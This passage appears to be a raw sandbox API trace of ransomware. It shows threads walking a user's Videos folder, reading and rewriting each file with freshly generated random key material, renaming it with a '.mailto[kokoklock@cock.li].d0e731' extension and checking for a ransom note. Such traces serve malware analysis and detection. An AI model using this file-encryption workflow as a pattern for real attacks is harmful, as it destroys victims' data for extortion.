returned 1 [0173.401] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0xd02a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.401] WriteFile (in: hFile=0x5cc, lpBuffer=0x3053c68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18dffa90, lpOverlapped=0x0 | out: lpBuffer=0x3053c68*, lpNumberOfBytesWritten=0x18dffa90*=0x20, lpOverlapped=0x0) returned 1 [0173.402] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053c68) returned 1 [0173.402] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0173.402] WriteFile (in: hFile=0x5cc, lpBuffer=0x3053b78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18dffaa4, lpOverlapped=0x0 | out: lpBuffer=0x3053b78*, lpNumberOfBytesWritten=0x18dffaa4*=0x8, lpOverlapped=0x0) returned 1 [0173.402] WriteFile (in: hFile=0x5cc, lpBuffer=0x18dffabc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18dffaa4, lpOverlapped=0x0 | out: lpBuffer=0x18dffabc*, lpNumberOfBytesWritten=0x18dffaa4*=0x4, lpOverlapped=0x0) returned 1 [0173.402] WriteFile (in: hFile=0x5cc, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18dffaa4, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x18dffaa4*=0x4, lpOverlapped=0x0) returned 1 [0173.402] WriteFile (in: hFile=0x5cc, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x18dffaa4, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x18dffaa4*=0x6c, lpOverlapped=0x0) returned 1 [0173.402] WriteFile (in: hFile=0x5cc, lpBuffer=0x3053fb0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18dffaa4, lpOverlapped=0x0 | out: lpBuffer=0x3053fb0*, lpNumberOfBytesWritten=0x18dffaa4*=0x20, lpOverlapped=0x0) returned 1 [0173.402] WriteFile (in: hFile=0x5cc, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18dffaa4, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x18dffaa4*=0x4, lpOverlapped=0x0) returned 1 [0173.402] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fb0) returned 1 [0173.402] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d58) returned 1 [0173.402] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053b78) returned 1 [0173.402] CloseHandle (hObject=0x5cc) returned 1 [0173.402] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe4) returned 0x2fc4760 [0173.403] wcscpy (in: _Dest=0x2fc4760, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv.mailto[kokoklock@cock.li].d0e731" [0173.403] wcscat (in: _Dest=0x2fc4760, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0173.403] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\eoet.flv.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\eoet.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0173.403] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.404] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4760) returned 1 [0173.404] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.404] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x74) returned 0x2f8ba10 [0173.404] wcscpy (in: _Dest=0x2f8ba10, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" [0173.404] wcscat (in: _Dest=0x2f8ba10, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\D0E731-Readme.txt" [0173.404] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\d0e731-readme.txt")) returned 0x20 [0173.404] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ba10) returned 1 [0173.404] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91b30) returned 1 [0173.404] RtlExitUserThread (Status=0x1) Thread: id = 2109 os_tid = 0x11dc [0173.405] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\fm9iifcvtvhlfb_lg.mkv.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.406] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.406] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\fm9iifcvtvhlfb_lg.mkv.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5cc [0173.406] GetFileSizeEx (in: hFile=0x5cc, lpFileSize=0x18e7fe24 | out: lpFileSize=0x18e7fe24*=2083) returned 1 [0173.407] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x81f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.407] ReadFile (in: hFile=0x5cc, lpBuffer=0x18e7fdf8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18e7fdf4, lpOverlapped=0x0 | out: lpBuffer=0x18e7fdf8*, lpNumberOfBytesRead=0x18e7fdf4*=0x4, lpOverlapped=0x0) returned 1 [0173.409] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.409] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053e20 [0173.409] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fb0 [0173.409] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053b78 [0173.409] NtQuerySystemTime (in: CurrentTime=0x18e7fdd0 | out: CurrentTime=0x18e7fdd0*=132121213307171103) returned 0x0 [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0xc61fbd1a [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0x86999982 [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0x5d8000fc [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0x5c68ded [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0xf6511e2b [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0x14cf50ff [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0xdf71a83d [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0xd0613dba [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0xb0ea8ab4 [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0x967101a7 [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0xce9ab6be [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0xbaa335cb [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0x2bbcc02b [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0x867e8d1d [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0xaf028e68 [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0x38e4c370 [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0x4ede7947 [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0x249a0c0a [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0x52231ab8 [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0xe7cef2fc [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0x600f21e [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0x3ed08b14 [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0x8d093590 [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0x9f78720 [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0x66f5d68d [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0x5fa89628 [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0x85267ac9 [0173.409] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0xadf44831 [0173.410] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0x2cda94b [0173.410] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0xddf28937 [0173.410] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0xc96b862d [0173.410] RtlRandom (in: Seed=0x18e7fddc | out: Seed=0x18e7fddc) returned 0xe879b58d [0173.419] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d58 [0173.420] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30133c8 [0173.420] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053c68 [0173.420] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30133c8) returned 1 [0173.421] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053e20) returned 1 [0173.421] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87308 [0173.421] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013440 [0173.421] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.421] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.421] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0173.421] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0173.421] ReadFile (in: hFile=0x5cc, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x823, lpNumberOfBytesRead=0x18e7fdd0, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x18e7fdd0*=0x823, lpOverlapped=0x0) returned 1 [0173.421] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18e7fd98 | out: lpNewFilePointer=0x0) returned 1 [0173.421] WriteFile (in: hFile=0x5cc, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x823, lpNumberOfBytesWritten=0x18e7fdcc, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x18e7fdcc*=0x823, lpOverlapped=0x0) returned 1 [0173.421] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.421] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d80 [0173.421] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d80) returned 1 [0173.421] WriteFile (in: hFile=0x5cc, lpBuffer=0x3053d30*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e7fdc8, lpOverlapped=0x0 | out: lpBuffer=0x3053d30*, lpNumberOfBytesWritten=0x18e7fdc8*=0x20, lpOverlapped=0x0) returned 1 [0173.422] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.422] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0173.422] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0173.422] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013440) returned 1 [0173.422] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87308) returned 1 [0173.422] WriteFile (in: hFile=0x5cc, lpBuffer=0x3053c68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e7fdf4, lpOverlapped=0x0 | out: lpBuffer=0x3053c68*, lpNumberOfBytesWritten=0x18e7fdf4*=0x8, lpOverlapped=0x0) returned 1 [0173.422] WriteFile (in: hFile=0x5cc, lpBuffer=0x18e7fe0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18e7fdf4, lpOverlapped=0x0 | out: lpBuffer=0x18e7fe0c*, lpNumberOfBytesWritten=0x18e7fdf4*=0x4, lpOverlapped=0x0) returned 1 [0173.422] WriteFile (in: hFile=0x5cc, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18e7fdf4, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x18e7fdf4*=0x4, lpOverlapped=0x0) returned 1 [0173.422] WriteFile (in: hFile=0x5cc, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x18e7fdf4, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x18e7fdf4*=0x6c, lpOverlapped=0x0) returned 1 [0173.422] WriteFile (in: hFile=0x5cc, lpBuffer=0x3053fb0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e7fdf4, lpOverlapped=0x0 | out: lpBuffer=0x3053fb0*, lpNumberOfBytesWritten=0x18e7fdf4*=0x20, lpOverlapped=0x0) returned 1 [0173.422] WriteFile (in: hFile=0x5cc, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18e7fdf4, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x18e7fdf4*=0x4, lpOverlapped=0x0) returned 1 [0173.423] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fb0) returned 1 [0173.423] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d58) returned 1 [0173.423] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053c68) returned 1 [0173.423] CloseHandle (hObject=0x5cc) returned 1 [0173.423] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xfe) returned 0x2f6cf60 [0173.423] wcscpy (in: _Dest=0x2f6cf60, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv.mailto[kokoklock@cock.li].d0e731" [0173.423] wcscat (in: _Dest=0x2f6cf60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0173.423] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\fm9iifcvtvhlfb_lg.mkv.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\fm9iifcvtvhlfb_lg.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0173.424] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.424] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6cf60) returned 1 [0173.424] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.424] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x74) returned 0x2f8af90 [0173.424] wcscpy (in: _Dest=0x2f8af90, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" [0173.424] wcscat (in: _Dest=0x2f8af90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\D0E731-Readme.txt" [0173.424] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\d0e731-readme.txt")) returned 0x20 [0173.424] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8af90) returned 1 [0173.424] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0b070) returned 1 [0173.424] RtlExitUserThread (Status=0x1) Thread: id = 2110 os_tid = 0x11e0 [0173.426] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x78) returned 0x2f8b110 [0173.426] wcscpy (in: _Dest=0x2f8b110, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg" [0173.426] wcscat (in: _Dest=0x2f8b110, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\" [0173.426] wcscat (in: _Dest=0x2f8b110, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\*") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\*" [0173.426] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022250 [0173.426] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\*", lpFindFileData=0x3022250 | out: lpFindFileData=0x3022250*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89b893c0, ftCreationTime.dwHighDateTime=0x1d4d19e, ftLastAccessTime.dwLowDateTime=0x84f7e554, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84f7e554, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80620 [0173.428] wcscmp (_String1=".", _String2=".") returned 0 [0173.428] FindNextFileW (in: hFindFile=0x2f80620, lpFindFileData=0x3022250 | out: lpFindFileData=0x3022250*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89b893c0, ftCreationTime.dwHighDateTime=0x1d4d19e, ftLastAccessTime.dwLowDateTime=0x84f7e554, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84f7e554, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.428] wcscmp (_String1="..", _String2=".") returned 1 [0173.428] wcscmp (_String1="..", _String2="..") returned 0 [0173.428] FindNextFileW (in: hFindFile=0x2f80620, lpFindFileData=0x3022250 | out: lpFindFileData=0x3022250*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99cd1ef0, ftCreationTime.dwHighDateTime=0x1d4c6c9, ftLastAccessTime.dwLowDateTime=0xc83441e0, ftLastAccessTime.dwHighDateTime=0x1d4d233, ftLastWriteTime.dwLowDateTime=0x84e99416, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x14989, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAzhH70 S6pQlPU_FzwT.flv.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="CAZHH7~1.D0E")) returned 1 [0173.428] wcscmp (_String1="CAzhH70 S6pQlPU_FzwT.flv.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.428] wcscmp (_String1="CAzhH70 S6pQlPU_FzwT.flv.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.428] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe8) returned 0x2fc41c0 [0173.428] wcscpy (in: _Dest=0x2fc41c0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg" [0173.428] wcscat (in: _Dest=0x2fc41c0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\" [0173.428] wcscat (in: _Dest=0x2fc41c0, _Source="CAzhH70 S6pQlPU_FzwT.flv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv.mailto[kokoklock@cock.li].d0e731" [0174.139] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc41c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c [0174.140] FindNextFileW (in: hFindFile=0x2f80620, lpFindFileData=0x3022250 | out: lpFindFileData=0x3022250*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e99416, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x84e99416, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84e99416, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.140] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.140] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.140] FindNextFileW (in: hFindFile=0x2f80620, lpFindFileData=0x3022250 | out: lpFindFileData=0x3022250*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52c80b90, ftCreationTime.dwHighDateTime=0x1d4c814, ftLastAccessTime.dwLowDateTime=0x8a65a870, ftLastAccessTime.dwHighDateTime=0x1d4ce84, ftLastWriteTime.dwLowDateTime=0x84ee59ad, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xea22, dwReserved0=0x0, dwReserved1=0x0, cFileName="dv5eftIdze9.mkv.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="DV5EFT~1.D0E")) returned 1 [0174.140] wcscmp (_String1="dv5eftIdze9.mkv.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.140] wcscmp (_String1="dv5eftIdze9.mkv.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.140] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd6) returned 0x2f973d8 [0174.140] wcscpy (in: _Dest=0x2f973d8, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg" [0174.140] wcscat (in: _Dest=0x2f973d8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW 